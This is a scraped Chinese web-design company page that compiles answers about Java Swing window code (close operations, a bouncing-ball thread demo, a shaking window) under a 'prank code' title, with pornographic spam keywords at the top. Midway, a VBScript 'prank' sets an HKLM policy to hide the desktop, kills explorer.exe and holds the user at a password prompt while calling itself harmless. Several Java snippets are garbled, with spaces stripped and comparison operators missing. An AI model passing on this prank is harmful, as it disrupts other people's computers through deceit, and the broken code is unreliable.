真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

java整蠱窗口代碼 有趣的java整蠱短代碼

java關(guān)閉當(dāng)前窗口代碼

方法一:

我們提供的服務(wù)有:成都網(wǎng)站設(shè)計(jì)、成都做網(wǎng)站、外貿(mào)網(wǎng)站建設(shè)、微信公眾號(hào)開(kāi)發(fā)、網(wǎng)站優(yōu)化、網(wǎng)站認(rèn)證、濟(jì)陽(yáng)ssl等。為近千家企事業(yè)單位解決了網(wǎng)站和推廣的問(wèn)題。提供周到的售前咨詢(xún)和貼心的售后服務(wù),是有科學(xué)管理、有技術(shù)的濟(jì)陽(yáng)網(wǎng)站制作公司

類(lèi) JFrame

javax.swing.JFrame

JFrame中的方法void setDefaultCloseOperation(int)可以設(shè)置

以下為改方法的用法:

setDefaultCloseOperation

public void setDefaultCloseOperation(int operation)設(shè)置用戶(hù)在此窗體上發(fā)起

"close" 時(shí)默認(rèn)執(zhí)行的操作。必須指定以下選項(xiàng)之一:

DO_NOTHING_ON_CLOSE(在 WindowConstants 中定義):不執(zhí)行任何操作;要求程序在已注冊(cè)的

WindowListener 對(duì)象的 windowClosing 方法中處理該操作。

HIDE_ON_CLOSE(在 WindowConstants 中定義):調(diào)用任意已注冊(cè)的 WindowListener

對(duì)象后自動(dòng)隱藏該窗體。

DISPOSE_ON_CLOSE(在 WindowConstants 中定義):調(diào)用任意已注冊(cè) WindowListener

的對(duì)象后自動(dòng)隱藏并釋放該窗體。

EXIT_ON_CLOSE(在 JFrame 中定義):使用 System exit

方法退出應(yīng)用程序。僅在應(yīng)用程序中使用。

默認(rèn)情況下,該值被設(shè)置為 HIDE_ON_CLOSE。更改此屬性的值將導(dǎo)致激發(fā)屬性更改事件,其屬性名稱(chēng)為

"defaultCloseOperation"。

注:當(dāng) Java 虛擬機(jī) (VM) 中最后一個(gè)可顯示窗口被釋放后,虛擬機(jī)可能會(huì)終止

要實(shí)現(xiàn)你說(shuō)的,應(yīng)該采用

setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);

方法二:

import java.awt.event.WindowAdapter;

import java.awt.event.WindowEvent;

import javax.swing.JFrame;

import javax.swing.JOptionPane;

public class Test extends JFrame {

public Test(){

this.setTitle("title");

this.setSize(300,200);

this.setLocation(100,100);

//設(shè)置關(guān)閉時(shí)什么也不做

this.setDefaultCloseOperation(DO_NOTHING_ON_CLOSE);

//監(jiān)聽(tīng)關(guān)閉按鈕的點(diǎn)擊操作

this.addWindowListener(new WindowAdapter(){

//new 一個(gè)WindowAdapter 類(lèi) 重寫(xiě)windowClosing方法

//WindowAdapter是個(gè)適配器類(lèi) 具體看jdk的幫助文檔

public void windowClosing(WindowEvent e) {

//這里寫(xiě)對(duì)話(huà)框

if(JOptionPane.showConfirmDialog(null,

"退出","提

示",JOptionPane.YES_NO_OPTION,JOptionPane.QUESTION_MESSAGE)==JOptionPane.YES_OPTION){

System.exit(0);

}

}

});

this.setVisible(true);

}

public static void main(String[] args) {

new Test();

}

}

求java窗體代碼,可以顯示默認(rèn)長(zhǎng)文本,代碼格式最好規(guī)范可以直接使用。

importjava.awt.*;importjava.awt.event.*;importjava.awt.geom.*;importjava.util.*;importjavax.swing.*;/***多線(xiàn)程,小球演示.打開(kāi)Windows任務(wù)管理器,可看到線(xiàn)程變化??伤阉鞯?,run()方法/.start()**du:程序技巧體會(huì):所謂產(chǎn)生一個(gè)小球,即是new其類(lèi)對(duì)象,其屬性攜帶畫(huà)小球的坐標(biāo)、顏色、所在容器等參數(shù)。**一個(gè)類(lèi),屬性用來(lái)作為參數(shù)容器用,方法.完成功能。**///運(yùn)行類(lèi)publicclassBouncePress{//publicstaticvoidmain(String[]args){JFrameframe=newBouncePressFrame();//生成窗口。執(zhí)行構(gòu)造。-----業(yè)務(wù)邏輯。frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);//similarto//window//listenerframe.show();}}classBouncePressFrameextendsJFrame{privateBallPressCanvascanvas;publicBouncePressFrame(){setSize(600,500);//窗口大小setTitle("BounceBall");ContainercontentPane=getContentPane();//Swing的窗口不能直接放入東西,只能在其上的ContentPane上放。canvas=newBallPressCanvas();//生成一個(gè)新面板。-----canvascontentPane.add(canvas,BorderLayout.CENTER);//窗口中心加入該面板。JPanelbuttonPanel=newJPanel();//再生成一個(gè)新面板。----buttonPanel//調(diào)用本類(lèi)方法addButton。addButton(buttonPanel,"Start",//生成一個(gè)按鈕"Start"---加入面板buttonPanelnewActionListener(){//|------按鈕綁上action監(jiān)聽(tīng)器。publicvoidactionPerformed(ActionEventevt){//|小球容器對(duì)象的addBall(Thread.NORM_PRIORITY-4,Color.black);//事件處理時(shí),執(zhí)行---addBall()方法。---產(chǎn)生小球(參數(shù)對(duì)象)---加入List中---開(kāi)始畫(huà)球。}});//按一次,addBall()一次---產(chǎn)生一個(gè)新小球---加入List中---開(kāi)始畫(huà)此新小球。//---畫(huà)球線(xiàn)程BallPressThread的run()---小球(參數(shù)對(duì)象).move()---每次畫(huà)時(shí),先移動(dòng),再判斷,再畫(huà)。//---BallPressCanvas類(lèi)的canvas對(duì)象.paint()---自動(dòng)調(diào)BallPressCanvas類(lèi)的paintComponent(Graphics//g)方法。//---該方法,從List中循環(huán)取出所有小球,第i個(gè)球,---調(diào)該小球BallPress類(lèi)//.draw()方法---調(diào)Graphics2D方法畫(huà)出小球。--使用color/addButton(buttonPanel,"Express",newActionListener(){publicvoidactionPerformed(ActionEventevt){addBall(Thread.NORM_PRIORITY+2,Color.red);}});addButton(buttonPanel,"Close",newActionListener(){publicvoidactionPerformed(ActionEventevt){System.exit(0);}});contentPane.add(buttonPanel,BorderLayout.SOUTH);}publicvoidaddButton(Containerc,Stringtitle,ActionListenerlistener){JButtonbutton=newJButton(title);//生成一個(gè)按鈕。c.add(button);//加入容器中。button.addActionListener(listener);//按鈕綁上action監(jiān)聽(tīng)器。}/**主要業(yè)務(wù)方法。*/publicvoidaddBall(intpriority,Colorcolor){//生成小球(參數(shù)對(duì)象)BallPressb=newBallPress(canvas,color);//生成BallPress對(duì)象,攜帶、初始化//畫(huà)Ball形小球,所需參數(shù):所在容器組件,所需color--black/red.//小球加入List中。canvas.add(b);//面板canvas的ArrayList中加入BallPress對(duì)象。BallPressThreadthread=newBallPressThread(b);//生成畫(huà)小球的線(xiàn)程類(lèi)BallPressThread對(duì)象。傳入BallPress對(duì)象(攜帶了畫(huà)球所需//容器、color參數(shù))。thread.setPriority(priority);thread.start();//callrun(),ballstarttomove//畫(huà)球線(xiàn)程開(kāi)始。---BallPressThread的run()---小球(參數(shù)對(duì)象).move()---先移動(dòng),再畫(huà)。canvas.paint---BallPressCanvas類(lèi)的}}//畫(huà)球的線(xiàn)程類(lèi)。classBallPressThreadextendsThread{privateBallPressb;publicBallPressThread(BallPressaBall){b=aBall;}//畫(huà)球開(kāi)始。publicvoidrun(){try{for(inti=1;i自動(dòng)繪制面板,且自動(dòng)調(diào)paintComponent(Graphics//g)方法,---重寫(xiě)該方法,繪制面板(及其上組件)。//作用2)該類(lèi)對(duì)象屬性ArrayListballs---兼作小球(參數(shù)對(duì)象)的容器。classBallPressCanvasextendsJPanel{privateArrayListballs=newArrayList();publicvoidadd(BallPressb){balls.add(b);//向ArrayList中添加球。當(dāng)按下按鈕,添加多個(gè)球時(shí),都保存在這個(gè)List中。}//重寫(xiě)了javax.swing.JComponent的paintComponent()方法。//paint()方法自動(dòng)調(diào)用該方法。publicvoidpaintComponent(Graphicsg){super.paintComponent(g);Graphics2Dg2=(Graphics2D)g;for(inti=0;i=canvas.getWidth()){//小球右邊已經(jīng)到畫(huà)板右邊。x=canvas.getWidth()-15;dx=-dx;//開(kāi)始反向運(yùn)動(dòng)。}if(y=canvas.getHeight()){//小球已到畫(huà)板頂。y=canvas.getHeight()-15;dy=-dy;}canvas.paint(canvas.getGraphics());//畫(huà)出面板對(duì)象canvas----(及其上所有組件)////.paint()方法,自動(dòng)調(diào)用}}/*importjava.awt.*;importjava.awt.event.*;importjava.awt.geom.*;importjava.util.*;importjavax.swing.*;*//***單線(xiàn)程,小球演示搜索不到,run()方法/.start()*//*publicclassBounce{publicstaticvoidmain(String[]args){JFrameframe=newBounceFrame();frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);//similarto//window//listenerframe.show();}}不懂的再問(wèn)啊。。。

如何用JAVA實(shí)現(xiàn)聊天窗口的抖動(dòng)效果,最好是具體代碼

public class ShakeFrame extends JFrame {

private JButton btn = new JButton("Click me!");

public ShakeFrame() {

super("抖動(dòng)窗口");

this.setSize(300, 200);

this.setVisible(true);

this.setResizable(false);

this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

this.setLayout(null);

btn.setBounds(10, 10, 100, 30);

this.add(btn);

btn.addActionListener(new ActionListener() {

public void actionPerformed(ActionEvent e) {

int x = ShakeFrame.this.getX();

int y = ShakeFrame.this.getY();

for (int i = 0; i 20; i++) {

if ((i 1) == 0) {

x += 3;

y += 3;

} else {

x -= 3;

y -= 3;

}

ShakeFrame.this.setLocation(x, y);

try {

Thread.sleep(50);

} catch (InterruptedException e1) {

e1.printStackTrace();

}

}

}

});

}

public static void main(String[] args) {

new ShakeFrame();

}

}

求一段電腦整蠱代碼

set ws = wscript.createobject("wscript.shell")

if msgbox("純屬娛樂(lè)!just for fun!",4132,"絕對(duì)無(wú)毒無(wú)害!你準(zhǔn)備好了嗎?")=vbyes then

msgbox"OK!"

else

ws.popup"那也沒(méi)辦法!接招吧!",3

ws.popup"等會(huì)的解除密碼在網(wǎng)盤(pán)里,自己下載,祝你愉快!",3

end if

ws.run" "

ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"

wscript.sleep 500

ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000

ws.run "explorer.exe",vbhide : wscript.sleep 6000

do

a=inputbox("請(qǐng)輸入密碼解除","注意,重啟電腦是沒(méi)有用的!")

if a="我真笨啊" then

msgbox"密碼正確!",vbinformation

ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000000","REG_DWORD"

wscript.sleep 500

ws.run "taskkill /f /im explorer.exe",vbhide

wscript.sleep 2000

ws.run "explorer.exe",vbhide

msgbox"解除成功!"

exit do

else

msgbox"看你不下載,密碼錯(cuò)誤!請(qǐng)重試 !"

end if

loop

JAVA怎么寫(xiě)代碼使一個(gè)窗口打開(kāi)另一個(gè)窗口

1、首先,我們需要在代碼中導(dǎo)入相應(yīng)的包,以便能夠使用JFrame類(lèi)。然后,新建一個(gè)窗口類(lèi)繼承自JFrame類(lèi)。

2、在窗口類(lèi)中創(chuàng)建一個(gè)初始化方法,我們需要在該方法中初始化窗口類(lèi)對(duì)象,并將其顯示出來(lái)。

3、對(duì)窗口對(duì)象進(jìn)行初始化時(shí),我們先設(shè)置好窗口的標(biāo)題。

4、再設(shè)置窗口的大小,參數(shù)分別為窗口的長(zhǎng)和寬,單位是像素。

5、接著設(shè)置窗口左上角的坐標(biāo)位置,以確定窗口的位置。參數(shù)分別為窗口左上角頂點(diǎn)的x坐標(biāo)和y坐標(biāo)。

6、最后,調(diào)用setVisible方法將窗口顯示出來(lái)。參數(shù)為true表示顯示,為false表示隱藏。

7、窗口類(lèi)寫(xiě)好后,我們?cè)趍ain方法中創(chuàng)建一個(gè)窗口類(lèi)對(duì)象,然后調(diào)用該對(duì)象的初始化方法就可以將窗口顯示出來(lái)了。


網(wǎng)站題目:java整蠱窗口代碼 有趣的java整蠱短代碼
本文網(wǎng)址:http://weahome.cn/article/hgsjss.html

其他資訊

在線(xiàn)咨詢(xún)

微信咨詢(xún)

電話(huà)咨詢(xún)

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部